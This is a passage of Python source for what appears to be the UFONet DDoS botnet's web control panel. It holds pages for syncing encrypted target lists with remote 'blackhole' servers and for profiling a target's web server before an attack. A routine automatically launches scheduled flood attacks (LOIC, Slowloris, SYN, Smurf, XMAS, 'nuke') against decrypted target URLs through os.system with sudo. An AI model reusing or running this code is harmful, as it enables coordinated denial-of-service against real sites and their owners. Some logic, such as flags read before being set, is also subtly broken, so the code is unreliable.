  870. if device_state == "OFF":
  871. dec_panel = ""
  872. else:
  873. dec_panel = "<table cellpading='5' cellspacing='10'><tr><td><form method='GET'>Your key: <input type='text' name='grid_key' id='grid_key' size='20' value='"+ str(self.crypto_key) +"'></td><td><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_grid();>Try decryption!</a></form></td></tr></table>"
  874. if device_state == "OFF":
  875. sync_panel = ""
  876. else:
  877. sync_panel = "<table cellpadding='2' cellspacing='2'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='grid_source' id='grid_source' size='20' value='"+default_blackhole+"'></td></tr></table></td><td><button title='Search for records on that blackhole...' onclick='SyncGrid()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Sync device...</button></td></tr></table><hr>"
  878. if device_state == "OFF":
  879. transfer_panel = ""
  880. else:
  881. transfer_panel = "<form method='GET'><table cellpadding='5' cellspacing='5'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='grid_source_upload' id='grid_source_upload' size='20' value='"+default_blackhole+"'></td></tr><tr><td>Key (encryption):</td><td><input type='text' name='grid_key_upload' id='grid_key_upload' size='20' value='"+ str(self.crypto_key) +"'></td></tr></table></td><td><button title='Upload stats of your mothership to the Grid of that blackhole...' onclick='TransferGrid()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Transfer data...</button></td></tr></table></form><hr>"
  882. if device_state == "OFF":
  883. remove_grid = ""
  884. else:
  885. remove_grid = '| <button title="Review your mothership stats..." onclick="Stats()">STATS!</button> | <button title="Syncronize data from a blackhole/grid with your device..." onclick="Sync_panel()">DOWNLOAD!</button> | <button title="Decrypt data with a specific key..." onclick="Decryption_panel()">DECRYPT!</button> | <button title="Send your data to a global blackhole/grid..." onclick="Transfer_panel()">UPLOAD!</button> | <button title="Remove your profile and turn OFF this device..." onclick="RemoveGrid()">TURN OFF!</button>'
  886. return self.pages["/header"] + """<script language="javascript">
  887. function GridProfile() {
  888. var win_grid_profile = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  889. }
  890. function RemoveGrid() {
  891. var win_grid_profile = window.open("grid_remove","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  892. }
  893. function Stats() {
  894. var win_grid_profile = window.open("stats","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  895. }
  896. function Sync_panel(){
  897. document.getElementById("sync_panel_block").style.display = "block";
  898. document.getElementById("dec_panel").style.display = "none";
  899. document.getElementById("transfer_panel").style.display = "none";
  900. }
  901. function SyncGrid(){
  902. grid_source=document.getElementById("grid_source").value
  903. if(grid_source == "") {
  904. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  905. return
  906. }else{
  907. params="grid_source="+escape(grid_source)
  908. runCommandX("cmd_sync_grid",params)
  909. setTimeout("location.reload()", 10000)
  910. }
  911. }
  912. function Transfer_panel(){
  913. document.getElementById("transfer_panel").style.display = "block";
  914. document.getElementById("sync_panel_block").style.display = "none";
  915. document.getElementById("dec_panel").style.display = "none";
  916. }
  917. function TransferGrid() {
  918. grid_source=document.getElementById("grid_source_upload").value
  919. grid_key=document.getElementById("grid_key_upload").value
  920. if(grid_source == "") {
  921. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  922. return
  923. }else{
  924. if(grid_key == "") {
  925. window.alert("You need to enter a valid key (provided by someone)");
  926. return
  927. }else{
  928. params="grid_source="+escape(grid_source)+"&grid_key="+escape(grid_key)
  929. runCommandX("cmd_transfer_grid",params)
  930. setTimeout("location.reload()", 10000)
  931. }
  932. }
  933. }
  934. function Decryption_panel(){
  935. document.getElementById("dec_panel").style.display = "block";
  936. document.getElementById("transfer_panel").style.display = "none";
  937. document.getElementById("sync_panel_block").style.display = "none";
  938. }
  939. function Decrypt_grid(){
  940. grid_key=document.getElementById("grid_key").value
  941. if(grid_key == "") {
  942. window.alert("You need to enter a valid key (provided by someone)");
  943. return
  944. }else{
  945. params="grid_key="+escape(grid_key)
  946. runCommandX("cmd_decrypt_grid",params)
  947. panel_enc = document.getElementById("grid_panel_enc").style.display
  948. if(panel_enc == "block"){
  949. panel_enc = document.getElementById("grid_panel_enc").style.display = 'none';
  950. }
  951. }
  952. }
  953. function GridFilter(filter, key){
  954. params="filter="+escape(filter)+"&key="+escape(key)
  955. runCommandX("cmd_grid_filter", params)
  956. setTimeout("Decrypt_grid()", 2000)
  957. }
  958. </script>
  959. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  960. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  961. <br><center>
  962. <table cellpadding="5" cellspacing="5"><tr>
  963. <td><a href="javascript:alert('7337-VH13 says: """ + self.ranking + """... Welcome to the Grid. A good place to represent our Federation.');"><img src="/images/aliens/alien6.png"></a></td><td>
  964. <table cellpading="5" cellspacing="10"><tr><td>"""+device+"""<br><button title="Set your profile for this device..." onclick="GridProfile()">CONFIGURE!</button> """+remove_grid+"""</td></tr></table></tr></table>
  965. <hr><div id='sync_panel_block' name='sync_panel_block' style='display:none;'>"""+sync_panel+"""</div><div id='transfer_panel' name='transfer_panel' style='display:none;'>"""+transfer_panel+"""</div><div id="dec_panel" style="display:none;">"""+dec_panel+"""<hr></div>"""+grid_panel+"""
  966. """ + self.pages["/footer"]
  967. def generate_wargames(self):
  968. with open(self.wargames_file) as f:
  969. for line in f:
  970. line = line.strip()
  971. f.close()
  972. wargames_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>CREATION:</u></td><td align='center'><u>TARGET:</u></td><td align='center'><u>DATE:</u></td><td align='center'><u>ETA:</u></td><td align='center'><u>STATUS:</u></td></tr>"
  973. for m in self.list_wargames: # list = creation, target, estimated
  974. if wargames_msg_sep in m:
  975. m = m.split(wargames_msg_sep)
  976. wargame_creation = m[0][0:12] # creation date
  977. wargame_creation = ''.join(random.sample(wargame_creation,len(wargame_creation))) # creation date (obfuscation)
  978. wargame_target = m[1][0:12] # target (obfuscation)
  979. wargame_target = ''.join(random.sample(wargame_target,len(wargame_target))) # target (obfuscation)
  980. wargame_estimated = m[2][0:12] # estimated date
  981. wargame_estimated = ''.join(random.sample(wargame_estimated,len(wargame_estimated))) # estimated date (obfuscation)
  982. wargame_state = str("HSvtfBFwQBSms8h/7Ra/tKGNYp7KqiiNeOMPzDmrChJqyBJ+yuRiHpY9H+/LDQ==")[0:12] # state ("ENCRYPTED!")
  983. wargame_state = ''.join(random.sample(wargame_state,len(wargame_state))) # state (obfuscation)
  984. wargame_status = wargame_state # status (obfuscated like state)
  985. wargames_table += "<tr><td align='center'>"+str(wargame_creation)+"</td><td align='center'>"+str(wargame_target)+"</td><td align='center'>"+str(wargame_estimated)+"</td><td align='center'>"+str(wargame_state)+"</td><td align='center'>"+str(wargame_status)+"</td></tr>"
  986. wargames_table += "</table>"
  987. mother_wargame = "<div id='wargames_panel_enc' style='display:block'>"
  988. wargames_table = mother_wargame + wargames_table + "</div>"
  989. return wargames_table
  990. def html_wargames(self):
  991. l = time.ctime(os.path.getmtime(self.wargames_file)) # get last modified time
  992. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  993. wargames_table = self.generate_wargames()
  994. return self.pages["/header"] + """<script language="javascript">
  995. function Decrypt_wargames(){
  996. wargames_deckey=document.getElementById("wargames_deckey").value
  997. if(wargames_deckey == "") {
  998. window.alert("You need to enter a valid key (provided by someone)");
  999. return
  1000. }else{
  1001. params="wargames_deckey="+escape(wargames_deckey)
  1002. runCommandX("cmd_decrypt_wargames",params)
  1003. panel_enc = document.getElementById("wargames_panel_enc").style.display
  1004. if(panel_enc == "block"){
  1005. panel_enc = document.getElementById("wargames_panel_enc").style.display = 'none';
  1006. }
  1007. }
  1008. }
  1009. function SyncWargames(){
  1010. wargames_source=document.getElementById("wargames_source").value
  1011. if(wargames_source == "") {
  1012. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1013. return
  1014. }else{
  1015. params="wargames_source="+escape(wargames_source)
  1016. runCommandX("cmd_sync_wargames",params)
  1017. setTimeout("location.reload()", 10000)
  1018. }
  1019. }
  1020. function Send() {
  1021. wargames_source2=document.getElementById("wargames_source2").value
  1022. wargames_enckey=document.getElementById("wargames_enckey").value
  1023. wargames_target=document.getElementById("wargames_target").value
  1024. wargames_estimated=document.getElementById("wargames_estimated").value
  1025. if(wargames_source2 == "") {
  1026. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1027. return
  1028. }else{
  1029. if(wargames_enckey == "") {
  1030. window.alert("You need to enter a valid key (provided by someone)");
  1031. return
  1032. }else{
  1033. params="wargames_source2="+escape(wargames_source2)+"&wargames_enckey="+escape(wargames_enckey)+"&wargames_target="+escape(wargames_target)+"&wargames_estimated="+escape(wargames_estimated)
  1034. runCommandX("cmd_transfer_wargame",params)
  1035. setTimeout("location.reload()", 10000)
  1036. }
  1037. }
  1038. }
  1039. function JobRemove(id) {
  1040. params="id="+escape(id)
  1041. runCommandX("cmd_job_remove",params)
  1042. setTimeout("Decrypt_wargames()", 2000)
  1043. }
  1044. function JobAdd(id) {
  1045. params="id="+escape(id)
  1046. runCommandX("cmd_job_add", params)
  1047. setTimeout("Decrypt_wargames()", 2000)
  1048. }
  1049. function JobAddAll() {
  1050. runCommandX("cmd_job_add_all")
  1051. setTimeout("Decrypt_wargames()", 2000)
  1052. }
  1053. function JobCancel(id) {
  1054. params="id="+escape(id)
  1055. runCommandX("cmd_job_cancel", params)
  1056. setTimeout("Decrypt_wargames()", 2000)
  1057. }
  1058. function JobRemoveAll(key) {
  1059. params="key="+escape(key)
  1060. runCommandX("cmd_job_remove_all", params)
  1061. setTimeout("Decrypt_wargames()", 2000)
  1062. }
  1063. function JobCancelAll() {
  1064. runCommandX("cmd_job_cancel_all")
  1065. setTimeout("Decrypt_wargames()", 2000)
  1066. }
  1067. function JobFilter(filter, key) {
  1068. params="filter="+escape(filter)+"&key="+escape(key)
  1069. runCommandX("cmd_job_filter", params)
  1070. setTimeout("Decrypt_wargames()", 2000)
  1071. }
  1072. function EditSupply(){
  1073. if(document.getElementById("supply_edit").value == "EDIT"){
  1074. document.getElementById("supply_botnet").readOnly = false;
  1075. document.getElementById("supply_loic").readOnly = false;
  1076. document.getElementById("supply_loris").readOnly = false;
  1077. document.getElementById("supply_ufosyn").readOnly = false;
  1078. document.getElementById("supply_spray").readOnly = false;
  1079. document.getElementById("supply_smurf").readOnly = false;
  1080. document.getElementById("supply_xmas").readOnly = false;
  1081. document.getElementById("supply_nuke").readOnly = false;
  1082. document.getElementById("supply_edit").title = "Set global army supply..."
  1083. document.getElementById("supply_edit").value = "SET"
  1084. document.getElementById("supply_edit").innerHTML = "SET!"
  1085. }else{
  1086. supply_botnet=document.getElementById("supply_botnet").value
  1087. supply_loic=document.getElementById("supply_loic").value
  1088. supply_loris=document.getElementById("supply_loris").value
  1089. supply_ufosyn=document.getElementById("supply_ufosyn").value
  1090. supply_spray=document.getElementById("supply_spray").value
  1091. supply_smurf=document.getElementById("supply_smurf").value
  1092. supply_xmas=document.getElementById("supply_xmas").value
  1093. supply_nuke=document.getElementById("supply_nuke").value
  1094. if(isNaN(parseFloat(supply_botnet)) || parseFloat(supply_botnet) < 0) {
  1095. window.alert("You need to enter a valid BOTNET supply number (int>=0)");
  1096. return
  1097. }else{
  1098. if(isNaN(parseFloat(supply_loic)) || parseFloat(supply_loic) < 0) {
  1099. window.alert("You need to enter a valid LOIC supply number (int>=0)");
  1100. return
  1101. }else{
  1102. if(isNaN(parseFloat(supply_loris)) || parseFloat(supply_loris) < 0) {
  1103. window.alert("You need to enter a valid LORIS supply number (int>=0)");
  1104. return
  1105. }else{
  1106. if(isNaN(parseFloat(supply_ufosyn)) || parseFloat(supply_ufosyn) < 0) {
  1107. window.alert("You need to enter a valid UFOSYN supply number (int>=0)");
  1108. return
  1109. }else{
  1110. if(isNaN(parseFloat(supply_spray)) || parseFloat(supply_spray) < 0) {
  1111. window.alert("You need to enter a valid SPRAY supply number (int>=0)");
  1112. return
  1113. }else{
  1114. if(isNaN(parseFloat(supply_smurf)) || parseFloat(supply_smurf) < 0) {
  1115. window.alert("You need to enter a valid SMURF supply number (int>=0)");
  1116. return
  1117. }else{
  1118. if(isNaN(parseFloat(supply_xmas)) || parseFloat(supply_xmas) < 0) {
  1119. window.alert("You need to enter a valid XMAS supply number (int>=0)");
  1120. return
  1121. }else{
  1122. if(isNaN(parseFloat(supply_nuke)) || parseFloat(supply_nuke) < 0) {
  1123. window.alert("You need to enter a valid NUKE supply number (int>=0)");
  1124. return
  1125. }else{
  1126. document.getElementById("supply_botnet").readOnly = true;
  1127. document.getElementById("supply_loic").readOnly = true;
  1128. document.getElementById("supply_loris").readOnly = true;
  1129. document.getElementById("supply_ufosyn").readOnly = true;
  1130. document.getElementById("supply_spray").readOnly = true;
  1131. document.getElementById("supply_smurf").readOnly = true;
  1132. document.getElementById("supply_xmas").readOnly = true;
  1133. document.getElementById("supply_nuke").readOnly = true;
  1134. document.getElementById("supply_edit").title = "Edit global army supply..."
  1135. document.getElementById("supply_edit").value = "EDIT"
  1136. document.getElementById("supply_edit").innerHTML = "EDIT"
  1137. params="botnet="+escape(supply_botnet)+"&loic="+escape(supply_loic)+"&loris="+escape(supply_loris)+"&ufosyn="+escape(supply_ufosyn)+"&spray="+escape(supply_spray)+"&smurf="+escape(supply_smurf)+"&xmas="+escape(supply_xmas)+"&nuke="+escape(supply_nuke)
  1138. runCommandX("cmd_edit_supply",params)
  1139. setTimeout("Decrypt_wargames()", 2000)
  1140. }
  1141. }
  1142. }
  1143. }
  1144. }
  1145. }
  1146. }
  1147. }
  1148. }
  1149. }
  1150. </script>
  1151. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1152. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1153. <br>
  1154. <center>
  1155. <table cellpadding="5" cellspacing="5"><tr>
  1156. <td><a href="javascript:alert('Vnïjwvödvnh says: """ + self.ranking + """... Are you searching for some real action?. Well, this is your place...');"><img src="/images/aliens/alien8.png"></a></td>
  1157. <td>
  1158. <pre>This feature will allow you to propose/join some real 'wargames'.
  1159. <hr>
  1160. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='wargames_source' id='wargames_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'wargames' proposed by other motherships..." onclick="SyncWargames()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="wargames_deckey" id="wargames_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_wargames();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr><td>Your proposal:</td><td><input type="text" name="wargames_target" id="wargames_target" size="30" placeholder="http(s)://" required pattern="https?://.+"></td></tr><tr><td>Date time (UTC):</td><td><input type="text" name="wargames_estimated" id="wargames_estimated" size="20" placeholder="dd-mm-yyyy hh:mm:ss" required pattern=".+-.+-.+ .+:.+:.+"> (ex: """+str(now)+""")</td></tr><tr><td>Blackhole/IP:</td><td><input type='text' name='wargames_source2' id='wargames_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="wargames_enckey" id="wargames_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your proposal to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SEND!</button></pre></td></tr></table>
  1161. <hr><br>
  1162. <u>WARGAMES</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+wargames_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
  1163. def html_abduction(self):
  1164. return self.pages["/header"] + """<script language="javascript">
  1165. function Requests() {
  1166. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1167. }
  1168. function Start(){
  1169. target=document.getElementById("target").value
  1170. String.prototype.startsWith = function(prefix){
  1171. return this.indexOf(prefix) === 0;
  1172. }
  1173. if(target.startsWith("http")){
  1174. params="target="+escape(target)
  1175. }else{
  1176. window.alert("Target url not valid! -> It should starts with 'http(s)://'");
  1177. return
  1178. }
  1179. runCommandX("cmd_abduction",params)
  1180. }
  1181. </script></head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1182. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1183. <br>
  1184. <center>
  1185. <table cellpadding="5" cellspacing="5"><tr>
  1186. <td><a href="javascript:alert('Ofgöfeejh says: """ + self.ranking + """... Lets research about our enemies first, right?...');"><img src="/images/aliens/alien7.png"></a></td>
  1187. <td>
  1188. <pre>
  1189. This feature will provide you information about target's web server.
  1190. You can use this before to attack to be more effective.
  1191. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  1192. <hr>
  1193. * Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+">
  1194. <hr>
  1195. <button title="Start to research about your target's webserver configuration..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">RESEARCH!</button>
  1196. </pre>
  1197. </td></tr></table>
  1198. <hr><br>
  1199. </center>
  1200. <div id="cmdOut"></div>""" + self.pages["/footer"]
  1201. def html_blackholes(self):
  1202. return self.pages["/header"] + """<script language="javascript">
  1203. function Decrypt(){
  1204. blackhole_key=document.getElementById("blackhole_key").value
  1205. if(blackhole_key == "") {
  1206. window.alert("You need to enter a valid key (provided by someone)");
  1207. return
  1208. }else{
  1209. params="blackhole_key="+escape(blackhole_key)
  1210. runCommandX("cmd_decrypt",params)
  1211. document.getElementById("nb1").style.display = "none";
  1212. }
  1213. }
  1214. </script>
  1215. <script language="javascript">
  1216. function RefreshBlackhole(){
  1217. blackholes_source=document.getElementById("blackholes_source").value
  1218. if(blackholes_source == "") {
  1219. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1220. return
  1221. }else{
  1222. params="blackholes_source="+escape(blackholes_source)
  1223. runCommandX("cmd_refresh_blackholes",params)
  1224. document.getElementById("nb1").style.display = "none";
  1225. setTimeout("location.reload()", 10000)
  1226. }
  1227. }
  1228. </script>
  1229. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1230. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1231. <br>
  1232. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  1233. <td>Blackhole/IP:</td>
  1234. <td><input type="text" name="blackholes_source" id="blackholes_source" size="20" value='"""+default_blackhole+"""'></td>
  1235. </tr></table></td><td><button title="Refreshing blackhole..." onClick="RefreshBlackhole()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Open Warp!</button></td></tr></table>
  1236. <hr>
  1237. <table cellpadding="5" cellspacing="5"><tr>
  1238. <td><a href="javascript:alert('Dhïkta says: """ + self.ranking + """... I can open warps directly to blackholes created by other motherships. This is nice to share and increase your legion on a crypto-distributed way...');"><img src="/images/aliens/alien3.png"></a></td><td>
  1239. <table cellpading="5" cellspacing="10"><tr><td>
  1240. <form method='GET'>
  1241. Your key: <input type="text" name="blackhole_key" id="blackhole_key" size="20" value='"""+self.crypto_key+"""'>
  1242. </td></tr><tr><td>
  1243. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  1244. </form>
  1245. </td></tr></table></td></tr></table>
  1246. <hr><br>
  1247. </center>
  1248. Last update: <font color='"""+ self.blackholes_status_color + """'>"""+ self.blackholes_datetime + """</font><br><br>
  1249. <div id="cmdOut"></div>
  1250. <div id="nb1" style="display: block;">"""+self.blackholes_text+"""</div>
  1251. """ + self.pages["/footer"]
  1252. def wargames_engage_routine(self, wargames_engage_list): # check jobs when gui refresh (global army supply)
  1253. sep = "#-#"
  1254. for job in wargames_engage_list:
  1255. job_t2 = job.rsplit(sep, 1)[0]
  1256. job_creation = job_t2.rsplit(sep, 1)[0]
  1257. job_target = job_t2.rsplit(sep, 1)[1]
  1258. job_estimated = job.rsplit(sep, 1)[1]
  1259. self.decrypt(self.crypto_key, job_estimated)
  1260. if self.decryptedtext:
  1261. job_estimated_dec = self.decryptedtext
  1262. else:
  1263. job_estimated_dec = ""
  1264. self.decryptedtext = ""
  1265. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  1266. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  1267. job_estimated_dec = strptime(job_estimated_dec, "%d-%m-%Y %H:%M:%S")
  1268. if (job_estimated_dec == now or job_estimated_dec < now): # engage it! (when 'now' or '<')
  1269. self.decrypt(self.crypto_key, job_target)
  1270. if self.decryptedtext:
  1271. job_target_dec = self.decryptedtext
  1272. else:
  1273. job_target_dec = ""
  1274. self.decryptedtext = ""
  1275. if job_target_dec is not "":
  1276. job_target_dec = "http://" + job_target_dec # set target prefix to http://
  1277. try: # read global army supply (json)
  1278. with open(self.mothership_supplycfg_file) as data_file:
  1279. data = json.load(data_file)
  1280. except:
  1281. print '[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]'
  1282. with open(self.mothership_supplycfg_file, "w") as f:
  1283. json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0}, f, indent=4)
  1284. with open(self.mothership_supplycfg_file) as data_file:
  1285. data = json.load(data_file)
  1286. self.supply_botnet = data["botnet"]
  1287. self.supply_loic = data["loic"]
  1288. self.supply_loris = data["loris"]
  1289. self.supply_ufosyn = data["ufosyn"]
  1290. self.supply_spray = data["spray"]
  1291. self.supply_smurf = data["smurf"]
  1292. self.supply_xmas = data["xmas"]
  1293. self.supply_nuke = data["nuke"]
  1294. job_estimated_dec = strftime("%d-%m-%Y %H:%M:%S", job_estimated_dec)
  1295. print "[Info] [Wargames] Time is over: [" + str(job_estimated_dec) + "] -> Engaging target: " + str(job_target_dec)
  1296. cmd = ""
  1297. nonroot_cmd = "python -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" "
  1298. root_cmd = "sudo python -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" "
  1299. if int(self.supply_nuke) > 0:
  1300. cmd += "--nuke " +str(self.supply_nuke)+ " "
  1301. flag_nuke = True
  1302. if int(self.supply_xmas) > 0:
  1303. cmd += "--xmas " +str(self.supply_xmas)+ " "
  1304. flag_xmas = True
  1305. if int(self.supply_smurf) > 0:
  1306. cmd += "--smurf " +str(self.supply_smurf)+ " "
  1307. flag_smurf = True
  1308. if int(self.supply_spray) > 0:
  1309. cmd += "--spray " +str(self.supply_spray)+ " "
  1310. flag_spray = True
  1311. if int(self.supply_ufosyn) > 0:
  1312. cmd += "--ufosyn " +str(self.supply_ufosyn)+ " "
  1313. flag_ufosyn = True
  1314. if int(self.supply_loris) > 0:
  1315. cmd += "--loris " +str(self.supply_loris)+ " "
  1316. if int(self.supply_loic) > 0:
  1317. cmd += "--loic " +str(self.supply_loic)+ " "
  1318. if not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn:
  1319. cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS)
  1320. if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True:
  1321. cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE)
  1322. runcmd = cmd + " "
  1323. runcmd = runcmd + "--force-yes &" # no raw_input allowed on webgui (+run it as daemon!)
  1324. print "[Info] [Wargames] Running command:", runcmd, "\n"
  1325. os.system(runcmd) # launch it!
  1326. if "!!!" in job: # remove it from queue (unjob)
  1327. f = open(self.wargames_file, "r")
  1328. ls = f.readlines()
  1329. f.close()
  1330. f = open(self.wargames_file, "w")
  1331. for l in ls:
  1332. if str(l) != str(job):
  1333. f.write(l)
  1334. else:
  1335. job = re.sub('[!!!]', '', job)
  1336. f.write(job)
  1337. f.close()
  1338. def __init__(self):
  1339. self.crypto_key = crypto_key # set default symmetric crypto key
  1340. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  1341. self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names
  1342. self.board_file = 'server/board.txt' # set source path to retrieve board warning message
  1343. self.grid_file = 'server/grid.txt' # set source path to retrieve grid
  1344. self.board_warning = "" # set initial (str) board warning message
  1345. self.wargames_file = 'server/wargames.txt' # set source path to retrieve wargames
  1346. self.zombies_file = "botnet/zombies.txt" # set source path to retrieve 'zombies'
  1347. self.aliens_file = "botnet/aliens.txt" # set source path to retrieve 'aliens'
  1348. self.droids_file = "botnet/droids.txt" # set source path to retrieve 'droids'
  1349. self.ucavs_file = "botnet/ucavs.txt" # set source path to retrieve 'ucavs'
  1350. self.rpcs_file = "botnet/rpcs.txt" # set source path to retrieve 'rpcs'
  1351. self.release_date_file = "docs/release.date" # set source path to retrieve release date
  1352. self.news = "server/news.txt" # set source path to retrieve server news
  1353. self.missions = "server/missions.txt" # set source path to retrieve server missions
  1354. self.mothership_webcfg_file = 'core/json/webcfg.json' # set source for mothership webcfg
  1355. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  1356. self.mothership_boardcfg_file = 'core/json/boardcfg.json' # set source for mothership boardcfg
  1357. self.mothership_gridcfg_file = 'core/json/gridcfg.json' # set source for mothership gridcfg
  1358. self.mothership_supplycfg_file = 'core/json/supplycfg.json' # set source for mothership supplyscfg
  1359. self.ranking = "Rookie Star" # set starting rank
  1360. self.decryptedtext = "" # set buffer for decryption
  1361. self.encryptedtext = "" # set buffer for encryption
  1362. self.blackholes = "server/nodes.dat" # set source path to retrieve server blackholes (nodes.dat)
  1363. self.blackhole = default_blackhole # set default blackhole
  1364. self.blackholes_status = "Not connected!" # set default status for blackholes
  1365. self.blackholes_status_color = "red" # set default status color for blackholes
  1366. self.referer = 'http://127.0.0.1/'
  1367. self.mothershipname = "core/txt/shipname.txt"
  1368. f = open(self.mothershipname) # extract ship name
  1369. self.mothership_id = f.read()
  1370. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  1371. f.close()
  1372. f = open(self.release_date_file) # extract release creation datetime
  1373. self.release_date = f.read()
  1374. # adding AnonTwi (anontwi.03c8.net) cyphering -> AES256+HMAC-SHA1
  1375. self.trans_5C = "".join([chr (x ^ 0x5c) for x in xrange(256)])
  1376. self.trans_36 = "".join([chr (x ^ 0x36) for x in xrange(256)])
  1377. f.close()
  1378. f = open(self.blackholes) # double extract blackholes (nodes.dat)
  1379. self.blackholes_text = f.read()
  1380. f.close()
  1381. f = open(self.blackholes)
  1382. self.blackholes_block = f.readlines()
  1383. f.close()
  1384. self.list_blackholes = []
  1385. for b in self.blackholes_block:
  1386. self.list_blackholes.append(b)
  1387. self.blackholes_datetime = time.ctime(os.path.getctime('server/nodes.dat')) # extract nodes.dat datetime
  1388. if self.blackholes_datetime == self.release_date_file: # never connected to feeds
  1389. self.blackholes_status_color = "red" # set status color for blackholes to 'red'
  1390. else:
  1391. self.blackholes_status_color = "green" # set status color for blackholes to 'green'
  1392. f = open(self.news) # double extract news
  1393. self.news_text = f.read()
  1394. f.close()
  1395. f = open(self.news)
  1396. self.news_block = f.readlines()
  1397. f.close()
  1398. self.list_news = []
  1399. for n in self.news_block:
  1400. self.list_news.append(n)
  1401. self.news_datetime = time.ctime(os.path.getctime('server/news.txt')) # extract news.txt datetime
  1402. if self.news_datetime == self.release_date_file: # never connected to feeds
  1403. self.news_status_color = "red" # set status color for news to 'red'
  1404. else:
  1405. self.news_status_color = "green" # set status color for news to 'green'
  1406. f = open(self.board_file) # double extract board
  1407. self.moderator_text = f.read()
  1408. f.close()
  1409. f = open(self.board_file)
  1410. self.moderator_block = f.readlines()
  1411. f.close()
  1412. self.list_moderator = []
  1413. for n in self.moderator_block:
  1414. self.list_moderator.append(n)
  1415. f = open(self.grid_file) # double grid board
  1416. self.grid_text = f.read()
  1417. f.close()
  1418. f = open(self.grid_file)
  1419. self.grid_block = f.readlines()
  1420. f.close()
  1421. self.list_grid = []
  1422. for n in self.grid_block:
  1423. self.list_grid.append(n)
  1424. f = open(self.wargames_file) # double wargames board
  1425. self.wargames_text = f.read()
  1426. f.close()
  1427. f = open(self.wargames_file)
  1428. self.wargames_block = f.readlines()
  1429. f.close()
  1430. self.list_wargames = []
  1431. for n in self.wargames_block:
  1432. self.list_wargames.append(n)
  1433. f = open(self.missions) # double extract missions
  1434. self.missions_text = f.read()
  1435. f.close()
